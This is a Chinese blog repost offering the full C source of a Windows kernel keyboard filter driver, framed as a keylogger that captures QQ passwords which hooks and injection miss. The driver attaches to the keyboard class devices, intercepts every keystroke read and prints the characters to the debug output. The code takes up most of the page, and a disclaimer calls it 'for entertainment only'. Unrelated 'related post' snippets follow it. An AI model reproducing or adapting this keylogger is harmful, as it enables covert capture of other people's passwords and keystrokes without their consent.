键盘记录器,可截获到 QQ 的密码「建议收藏」

键盘记录器,可截获到 QQ 的密码「建议收藏」虽然QQ 的密码框经过了特殊的处理,但是通过一些特殊手段仍然可以得到输入过程中键盘输入的内容。代码仅供娱乐使用!

大家好,又见面了,我是你们的朋友全栈君。

        由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码。

#define DBG 1

#include <ntddk.h>
#include <ntstrsafe.h>

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;
int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E
};

NTSTATUS
ObReferenceObjectByName (
    __in PUNICODE_STRING ObjectName,
    __in ULONG Attributes,
    __in_opt PACCESS_STATE AccessState,
    __in_opt ACCESS_MASK DesiredAccess,
    __in POBJECT_TYPE ObjectType,
    __in KPROCESSOR_MODE AccessMode,
    __inout_opt PVOID ParseContext,
    __out PVOID *Object
    );



VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    int i = 0;

    KdPrint(("This is my driver, Henzox!\n"));

    pDriverObject->DriverUnload = KMUnload;

    for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {
        pDriverObject->MajorFunction[i] = KMUnHandleIrp;
    } 

    pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
    pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
    pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

    return KMAddDevice(pDriverObject, puServiceRegPath);
}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PDEVICE_OBJECT tmpDevice;
    PMY_DEVICE_EXTENSION myDeviceExtension;

    KdPrint(("The unload function is invoked!\n"));

    tmpDevice = pDriverObject->DeviceObject;
    while (tmpDevice) {
        PDEVICE_OBJECT nextDevice;

        KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
        myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
        // 如果还有完成例程没有执行,则取消掉这个完成例程
		if (myDeviceExtension->IslCompletion) {
		    myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
            // 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除
			myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
		}
        IoDetachDevice(myDeviceExtension->AttachedTo);
        nextDevice = tmpDevice->NextDevice;
        IoDeleteDevice(tmpDevice);
        tmpDevice = nextDevice;
    }
}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    
    KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));
    
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMOpenClose.\n"));

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    
    return STATUS_SUCCESS;
}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

    KdPrint(("KMPnp.\n"));
    
	switch (pIo->MinorFunction) {
	default:
        IoSkipCurrentIrpStackLocation(Irp);
        IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
        break;
    }

    return STATUS_SUCCESS;
}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMPower.\n"));

    IoSkipCurrentIrpStackLocation(Irp);
    PoStartNextPowerIrp(Irp);
    return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    UNICODE_STRING usObjectName;
    PDRIVER_OBJECT KbdDriver;
    NTSTATUS status;
    PDEVICE_OBJECT tmpDevice, myDevice;
    UNICODE_STRING usDeviceName;
    WCHAR buff[64];
    int index = 0;
    PMY_DEVICE_EXTENSION DeviceExtension;

    RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

    status = ObReferenceObjectByName(&usObjectName,
                                     OBJ_CASE_INSENSITIVE,
                                     NULL,
                                     0,
                                     IoDriverObjectType,
                                     KernelMode,
                                     NULL,
                                     (PVOID)&KbdDriver);
	if (!NT_SUCCESS(status)) {
        KdPrint(("Find the kbd class failed!\n"));
		return status;
    }

    tmpDevice = KbdDriver->DeviceObject;
    while (tmpDevice) {
		swprintf(buff, L"\\Device\\MyDevice%d", index++);
        RtlInitUnicodeString(&usDeviceName, buff);
        status = IoCreateDevice(pDriverObject,
                                sizeof(MY_DEVICE_EXTENSION),
                                &usDeviceName,
                                tmpDevice->DeviceType,
                                tmpDevice->Characteristics,
                                FALSE,
                                &myDevice);
        if (!NT_SUCCESS(status)) {
            ObDereferenceObject(KbdDriver);
			return status;
        }
        
        KdPrint(("devobj: 0x%p.\n",myDevice));

        IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
        DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
        DeviceExtension->AttachedTo = tmpDevice;
        /* Setup my device */
        myDevice->StackSize = tmpDevice->StackSize + 1;
        myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));			// 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)

        tmpDevice = tmpDevice->NextDevice;
    }

    ObDereferenceObject(KbdDriver);
    return STATUS_SUCCESS;
}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;

    //KdPrint(("KMRead.\n"));

    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    /* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
	   如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
	/*IoSetCompletionRoutine(Irp,
                           KMReadCompletion,
                           NULL,
                           TRUE,
                           TRUE,
                           TRUE);*/

    IoSetCompletionRoutineEx(DeviceObject,
                             Irp,
                             KMReadCompletion,
                             NULL,
                             TRUE,
                             TRUE,
                             TRUE);
    myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
    PUCHAR buff;
    int len;

    //KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
	/* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    myDeviceExtension->IslCompletion = NULL;

	if (NT_SUCCESS(Irp->IoStatus.Status)) {
        // 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
        buff = Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中,即长度
        len = Irp->IoStatus.Information;

        if (buff[4] == 0) {
            /* 键盘被按下 */
			switch (buff[2]) {
			case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
			case 0x2A:
			case 0x36:
                g_shift = 1;
                break;
			case 0x45:
                g_num = (g_num == 1)?0:1;
                break;
			default:
                KMPrintKey(buff[2]);
                break;
            }
		} else if (buff[4] == 1) {
            /* 键盘被释放 */
			switch (buff[2]) {
			case 0x2A:
			case 0x36:
                g_shift = 0;
                break;
			default: break;
            }
        }
    }

    if (Irp->PendingReturned) {
        IoMarkIrpPending(Irp);
    }

    return Irp->IoStatus.Status;
}

void KMPrintKey(UCHAR sch)
{
    UCHAR ch = 0;
    if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
        ch = asciiTbl[sch];
        if(g_shift && g_caps)
            ch = asciiTbl[sch+84*3];
        else if(g_shift==1)
            ch = asciiTbl[sch+84*2];
        else if(g_caps==1)
            ch = asciiTbl[sch+84];
	}

	if(ch==0x08)
	{
		//DbgPrint("退格");
	}

	if (ch >= 0x20 && ch < 0x7F)
	{
		DbgPrint("%C",ch);
	}
}

        键盘映射表来源于网络。整段代码仅供娱乐使用。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/162193.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 用域代码任何带圈字符都能做出来

    用域代码任何带圈字符都能做出来在文档中按下“Ctrl+F9”组合键输入域记号(一对大括号{},不能用键盘直接输入),在域记号中输入如下域代码:eq/o/ac(○,11B)。设置好字体、字号等。  选中上述域代码,按“Alt+F9”组合键看一下效果。如果不满意,再按一次“Alt+F9”组合键切换回域代码状态,分别选中域代码中的“○”或“11B”,执行“格式→字体”命令,打开“字体”对话框,在“字体”和“字符间距”标签中,通

    2022年5月26日
    39
  • 单据保存后的存储过程称为_原始单据保存多少年

    单据保存后的存储过程称为_原始单据保存多少年(一)报关单证保存后的存储过程更新T_modulelist的StorageProductAfterSave值UPDATET_ModuleListSETStorageProductAfterSave=‘SaveInvoiceAfter’wheremodulename=‘报关单证’2.创建存储过程CREATEPROCSaveInvoiceAfter(@InvoiceNumvarchar(30))AsBegin…写你的逻辑,其中参数@InvoiceNum是单据号end(二)出

    2022年9月21日
    2
  • pac与全局模式_全局代理模式

    pac与全局模式_全局代理模式1.在全局模式下,所有的网站都默认走代理(使你的所有http/socks数据经过代理服务器的转发送出。)2.在PAC模式是只有被墙了的网站才会走代理(连接网站的时候读取PAC文件里的规则,来确定你访问的网站有没有被墙,如果符合,那就会使用代理服务器连接网站)。设置本地PAC模式比如sublimeText的插件生态https://packageco…

    2022年10月19日
    4
  • Werkzeug Turorial「建议收藏」

    Werkzeug Turorial「建议收藏」Werkzeug不是一个framework,而是一个library,用来开发application和framework一个WSGI的application像这样:defapplication(environ,start_response):start_response(‘200OK’,[(‘Content-Type’,’text/plain’)])return[‘HelloWorld!’]一个WSGIapplication是一个可以调用的,有environ(dic

    2022年9月28日
    4
  • c语言图书馆管理系统课程设计报告_图书管理系统课程设计代码

    c语言图书馆管理系统课程设计报告_图书管理系统课程设计代码C语言课程设计报告第第PAGE1页《程序设计语言-C》课程设计报告题目:图书管理系统班级:学号:姓名:2016年5月12日目录程序总体功能新增功能函数调用关系主要算法流程图排序算法流程图插入算法流程图过程难点及解决方法附录:源程序一:程序总体功能本图书管理系统可以实现图书管理的基本功能,包括图书信息的录入、输出、排序、删除、查找及批量导入/导出等。图书属性信息包括书号、书名、第一作者、…

    2022年10月11日
    3
  • git安装教程图文详解(ps破解版安装教程)

    文章作者:Wendell原文地址:https://www.jianshu.com/p/a152f82c5e4a转载请注明出处!一、安装前准备  1.廖雪峰老师Git教程:推荐Git入门教程。  2.按照自己的系统版本下载Git软件,我的操作系统:Windows764位,安装版本为Git-2.18.0-64-bit.exe(截至201…

    2022年4月9日
    71

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号